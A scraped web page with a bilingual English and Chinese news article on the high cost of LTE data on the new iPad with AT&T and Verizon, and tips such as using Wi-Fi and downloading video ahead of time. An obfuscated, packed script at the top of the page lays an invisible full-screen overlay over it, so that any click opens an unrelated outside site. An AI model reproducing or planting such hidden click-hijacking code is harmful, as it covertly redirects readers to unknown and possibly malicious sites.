<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Users of the new iPad are learning that its new high-speed wireless connection can be blazing fast, but painfully expensive. That's the downside of making it easier to watch TV on the go.
Cutting through the tangle of their plans, AT&T Inc. T +0.44% and Verizon Wireless generally will bill you about $10 for every gigabyte of data you use.
Verizon estimates that's enough to watch about an hour and a half of standard-definition video on your new iPad─ or about the cost of sitting down at a movie.
If you want to take advantage of your new iPad's super-sharp screen and stream high-definition video, your bill will get even steeper: Be prepared to consume two gigabytes an hour, Verizon says.
There are ways to use your iPad to watch movies without shelling out an arm and a leg. The rub is most involve limiting the use of the LTE wireless broadband connection that is one of the main selling points of the new device.
Here's what to do:
Use Wi-Fi whenever possible-at home, at work, in hotels and in coffee shops. Wi-Fi, which runs through landline Internet networks rather than the mobile network, doesn't count against your Verizon or AT&T data cap.
Rather than stream movies when you're on the go, download videos when you're on a Wi-Fi connection for later viewing. Do the same for data-heavy apps.
Turn off your iPad's LTE connection. That might negate a key reason why you bought the new iPad, but it will bump you down to slower speeds and likely save you some money.
Learn the data cost of your habits on the iPad. AT&T and Verizon both offer online calculators that'll help you estimate how much data you'll burn through while streaming music, uploading photos, sending email or surfing the Web.
Bear in mind that you will consume more data on an LTE device than you did on your 3G gadget─even if you don't change your habits. That's right, the same behavior consumes more data in an LTE environment than in 3G.
Regular video, for example, uses twice as much data, Verizon says. That's because the faster connection lets more data through.
The bottom line is don't expect to watch much video on your new iPad over Verizon and AT&T's high-speed LTE networks without paying very high fees.
新iPad用户已经折服于其全新高速无线连接的惊人速度，但他们也知道了这项功能代价不菲。这是你旅途中收看电视更为方便的同时不得不忍受的“缺点”。
在你用完了合约套餐中的流量之后，你每使用1GB的数据流量，美国电话电报公司(AT&T Inc.)和Verizon Wireless这两家运营商将向你收取大约10美元的费用。
Verizon估计，1GB的流量够你在新iPad上观看一部时长约为一个半小时的标清视频，所需费用大致相当于你在影院看一场电影的成本。
如果你想充分发挥新iPad超清晰显示屏的优势，同时又想欣赏高清流媒体视频，那么你的账单将更加“恐怖”。Verizon表示，如果是这样的话，准备好每小时耗费2GB的流量吧。
不过我们仍有办法在不花大价钱的前提下利用iPad观看电影，最主要的方法就是限制LTE无线宽带连接的使用──而支持LTE网络正是新iPad的主要卖点之一。
以下是你所要做的：
在家里、工作场所、酒店或咖啡店里，尽可能使用Wi-Fi上网。由于Wi-Fi网络走的是有线互联网而非移动互联网，所以无论你是美国电话电报公司还是Verizon的用户，这都不会消耗你套餐中的数据流量。
与其在旅途中欣赏流媒体视频，不如利用Wi-Fi网络先下载视频随后欣赏。下载那些耗费流量的应用程序时也应如此。
关闭iPad的LTE连接。这看来与你买新iPad的一个重要原因相冲突，你的上网速度也会因此变慢，但这可能给你省些钱。
了解你使用iPad时的上网习惯可能耗费的流量成本。美国电话电报公司和Verizon都提供在线计算器，可以帮助你估计在欣赏流媒体音频、上传照片、发送电子邮件或上网冲浪时所耗费的流量。
请记住：和3G设备相比，即使你不改变上网习惯，你在LTE设备上也将消耗更多的数据流量。这一点千真万确，相同的上网习惯在LTE环境下会比3G环境下消耗更多数据流量。
比如，Verizon表示，和3G网络相比，在LTE网络中观看标清视频将耗费两倍的数据流量。这是因为连接速度越快，消耗的流量越多。
最重要的一点是要记住，既想在新iPad上利用Verizon或美国电话电报公司的高速LTE网络观看大量视频又想少花钱的事还是不要指望了。 |
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